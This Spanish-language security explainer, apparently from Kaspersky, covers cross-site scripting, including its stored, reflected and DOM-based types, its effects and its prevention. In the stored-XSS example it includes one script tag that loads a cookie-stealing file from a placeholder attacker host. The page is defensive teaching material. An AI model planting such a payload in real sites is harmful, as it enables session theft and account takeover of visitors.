Saltar al contenido principal

¿Qué es el scripting entre sitios?

Los ataques de scripting entre sitios (a veces denominados XSS) consisten en inyectar códigos maliciosos en sitios web que suelen ser fiables. Un ataque de scripting entre sitios se produce cuando los ciberdelincuentes inyectan scripts maliciosos en el contenido del sitio web atacado, que luego se agrega al contenido dinámico que se envía al navegador de la víctima. El navegador de la víctima desconoce que los scripts maliciosos no son fiables y, por lo tanto, los ejecuta.

Al hacerlo, dichos scripts pueden acceder a las cookies, los tokens de sesión u otra información confidencial retenida por el navegador y que se utiliza en ese sitio. Los atacantes también pueden propagar malware mediante XSS, reescribir el contenido de sitios web, causar problemas en las redes sociales y recurrir al phishing para obtener credenciales de usuario. Un ataque de XSS se diferencia de otros ataques web porque no está directamente dirigido a la aplicación. En realidad, los usuarios de la aplicación web son los que están en riesgo.

Cómo funciona el scripting entre sitios

El scripting entre sitios manipula un sitio web vulnerable para que devuelva scripts maliciosos a los usuarios. Normalmente, se hace mediante JavaScript, pero puede utilizar cualquier lenguaje del cliente. Los ciberdelincuentes buscan sitios web con funciones vulnerables que aceptan la introducción de datos del usuario, como barras de búsqueda, espacios para comentarios o formularios de inicio de sesión. Los atacantes adjuntan su código malicioso en el sitio web de confianza, lo que básicamente engaña a los navegadores para que ejecuten el malware cada vez que se carga el sitio.

Dado que JavaScript se ejecuta en la página del navegador de la víctima, se pueden robar los detalles confidenciales de la sesión del usuario autenticado, lo que permite a los actores maliciosos atacar a los administradores de sitios y dañar sitios web.

Según cómo se inyecte el código, es posible que el contenido malicioso ni siquiera esté en la propia página web, sino que sea un elemento temporal que solo forma parte del sitio web en el momento del ataque. Esto puede dar la impresión de que el sitio web está en peligro cuando no es así.

Hay varias formas de desencadenar un ataque de XSS. Por ejemplo, la ejecución podría activarse automáticamente cuando se carga la página o cuando un usuario pasa el cursor por encima de elementos específicos de la página, como hipervínculos. En algunos casos, el XSS se produce de forma más directa, por ejemplo, mediante un mensaje de correo electrónico. Algunos ataques de XSS no tienen un objetivo específico: el delincuente simplemente ataca una vulnerabilidad en la aplicación o el sitio, aprovechándose de cualquiera que tenga la mala suerte de ser víctima.

Según la magnitud del ataque, es posible que las cuentas de los usuarios se vean afectadas, se activen troyanos y se modifique el contenido de la página, lo que engaña a los usuarios para que divulguen sus datos privados. Es posible que se divulguen las cookies de sesión, lo cual permitiría a un atacante hacerse pasar por usuarios reales y aprovecharse de sus cuentas privadas.

Si el ataque de scripting entre sitios tiene éxito, puede tener consecuencias terribles para la reputación de una empresa online y la relación con sus clientes. Desafortunadamente, los errores que permiten que se lleven a cabo los ataques de XSS son bastante generalizados. Los ataques de XSS pueden aprovechar las vulnerabilidades en varios entornos de programación, incluidos VBScript, Flash, ActiveX y JavaScript. Un ataque de XSS se dirige principalmente a JavaScript debido a estrecha integración de este lenguaje con la mayoría de los navegadores. Esta capacidad de vulnerar plataformas de uso común hace que los ataques de XSS sean peligrosos y estén muy extendidos.

Efectos de un ataque de XSS

Un atacante que aproveche una vulnerabilidad de XSS podría llevar a cabo la siguientes acciones maliciosas:

  • Redirigir a los usuarios a un sitio web malicioso.
  • Saber qué teclas pulsan los usuarios.
  • Acceder al historial del navegador de los usuarios y al contenido del portapapeles.
  • Ejecutar exploits en el navegador web (por ejemplo, bloquearlo).
  • Obtener la información de las cookies de un usuario que ha iniciado sesión en un sitio web.
  • Robar tokens de inicio de sesión, pudiendo así interactuar con la aplicación como si fuera la víctima aunque no sepa cuál es la contraseña.
  • Obligar al usuario a enviar al servidor solicitudes controladas por él.
  • Cambiar el contenido de una página.
  • Engañar a la víctima para que desvele la contraseña de la aplicación u otras aplicaciones.
  • Infectar a la víctima con otro código malicioso mediante una vulnerabilidad en el propio navegador web (normalmente, apropiándose del control del ordenador de la víctima).

En algunos casos, un ataque de XSS puede hacer que la cuenta de la víctima se vea totalmente afectada. Los atacantes pueden engañar a los usuarios para que introduzcan credenciales en un formulario falso y obtener así toda la información. Una vez que obtienen las credenciales de usuario, pueden utilizarlas en los ataques para llevar a cabo robos de identidad o fraudes económicos.

Tipos de ataques de XSS

El scripting entre sitios se puede clasificar en tres categorías principales: XSS almacenados, XSS reflejados y XSS basados en DOM.

Scripting entre sitios almacenado (XSS persistente)

El XSS almacenado, también conocido como XSS persistente, se considera el tipo de ataque de XSS más perjudicial. Un XSS almacenado se produce cuando la información proporcionada por el usuario se almacena para después procesarla en una página web. Los puntos de entrada de información habituales de un XSS almacenado son foros de mensajes, comentarios de blogs, perfiles de usuario y campos de nombre de usuario. Los atacantes suelen aprovechar esta vulnerabilidad inyectando cargas de XSS en páginas conocidas de un sitio o enviando el enlace a una víctima. Así, la engañan para que vea la página que contiene la carga de XSS almacenado. La víctima visita la página y el navegador web ejecuta la carga en el lado del cliente a través del navegador.

Scripting entre sitios reflejado (XSS no persistente)

El tipo más habitual de XSS es el XSS reflejado (también conocido como XSS no persistente). En este caso, la carga del atacante debe formar parte de la solicitud enviada al servidor web. Luego, se vuelve a reflejar de tal manera que la respuesta HTTP incluye la carga de la solicitud HTTP. Los atacantes utilizan enlaces maliciosos, correos electrónicos de phishing y otras técnicas de ingeniería social para engañar a la víctima con el fin de que realice una solicitud al servidor. La carga de XSS reflejado se ejecuta en el navegador del usuario.

El XSS reflejado no es un ataque persistente, por lo que el atacante debe enviar la carga a cada víctima. Estos ataques suelen lanzarse a través de las redes sociales.

Scripting entre sitios basado en DOM

Un XSS basado en DOM hace referencia a una vulnerabilidad de scripting entre sitios que aparece en el DOM (Modelo de Objetos del Documento) y no en una parte del HTML. En los ataques de scripting entre sitios reflejados y almacenados, se puede ver la carga de la vulnerabilidad en la página de respuesta; sin embargo, en el scripting entre sitios basado en DOM, el código fuente HTML del ataque y la respuesta serán los mismos, es decir, no se puede encontrar la carga en la respuesta. Solo se puede observar en el tiempo de ejecución o analizando el DOM de la página.

Un ataque XSS basado en DOM suele atacar el lado del cliente y la carga maliciosa nunca se envía al servidor. Eso dificulta aún más que los firewalls de aplicaciones web (WAF) y los ingenieros de seguridad que analizan los registros del servidor los detecten, ya que nunca ven el ataque. Los objetos DOM que se manipulan con mayor frecuencia incluyen la URL (document.URL), la parte de ancla de la URL (location.hash) y el referrer (document.referrer).

Scripting entre sitios

Ejemplo de ataque de XSS

Por ejemplo: mientras navegas por un sitio web de comercio electrónico, un atacante puede identificar una vulnerabilidad que le permita incrustar etiquetas HTML en la sección de comentarios del sitio. Las etiquetas incrustadas se convierten en una característica permanente de la página, lo que hace que el navegador las incluya con el resto del código fuente cada vez que se abre la página.

El atacante agrega un comentario en el que incluye las palabras "artículo de gran valor". Consulta aquí el artículo completo: <script src = ”http://sitioatacante.com/ladrondeauth.js”> </script>.

Después de eso, cada vez que se accede a la página, la etiqueta HTML del comentario activará un archivo JavaScript, que se aloja en otro sitio y puede robar las cookies de sesión de los visitantes.

Al utilizar la cookie de sesión, el atacante puede dañar la cuenta del visitante, ya que puede acceder fácilmente a su información personal y datos económicos. Mientras tanto, el visitante, que puede que ni siquiera haya visto la sección de comentarios, no sabrá que se ha producido el ataque.

A diferencia de un ataque reflejado, en el cual el script se activa después de hacer clic en un enlace, en un ataque almacenado basta con que la víctima visite la página web afectada. Esto aumenta el alcance del ataque, poniendo en peligro a todos los visitantes, independientemente de lo precavidos que sean.

Desde el punto de vista del atacante, los ataques de XSS persistente son más difíciles de ejecutar dado lo complicado que es localizar tanto un sitio web con tráfico como uno con vulnerabilidades que permitan la incrustación permanente de scripts.

Prevención del scripting entre sitios

Para reducir la posibilidad de vulnerabilidades de scripting entre sitios, los desarrolladores/propietarios de sitios web deben hacer lo siguiente:

  • Garantizar que cualquier página de su sitio web que acepte entradas de información de usuario filtre las entradas de código, como HTML y JavaScript.
  • Rastrear en busca de vulnerabilidades de aplicaciones web y corregirlas según corresponda.
  • Actualizar su sitio web y el software del servidor para evitar que en el futuro se aprovechen vulnerabilidades que puedan ser el objetivo de un ataque de XSS.

Para evitar ser víctima de un ataque de XSS, los usuarios deben hacer lo siguiente:

  • Desactivar los scripts en páginas en las que no sean necesarios o deshabilitarlos por completo.
  • Evitar hacer clic en enlaces de correos electrónicos sospechosos o publicaciones en foros de mensajes, ya que pueden redirigirlos a páginas peligrosas.
  • Acceder a los sitios web directamente escribiendo la URL en el navegador en lugar de hacerlo mediante una fuente o un enlace de terceros.
  • Mantener actualizado el software para beneficiarse de las correcciones de errores y los parches de seguridad más recientes. Actualizar el software a menudo reducirá de forma significativa las vulnerabilidades que hacen que un sitio o una aplicación sean propensos a sufrir ataques de XSS.
  • Revisar las aplicaciones para ver cuáles se necesitan y cuáles no se utilizan tanto. Deshacerse de las aplicaciones que no se utilizan reduce la cantidad de posibles vulnerabilidades.
  • Utilizar un antivirus de alta calidad, como Kaspersky Total Security, que funciona de forma ininterrumpida protegiendo tus dispositivos y datos. Bloquea las amenazas más habituales y complejas, como virus, malware, ransomware, aplicaciones de espionaje y todos los trucos más recientes de los hackers.

Artículos relacionados:

¿Qué es un ataque de scripting entre sitios? Definición y explicación

¿Qué es el scripting entre sitios? Obtén más información sobre las vulnerabilidades y ataques de scripting entre sitios y su prevención.
Kaspersky Logo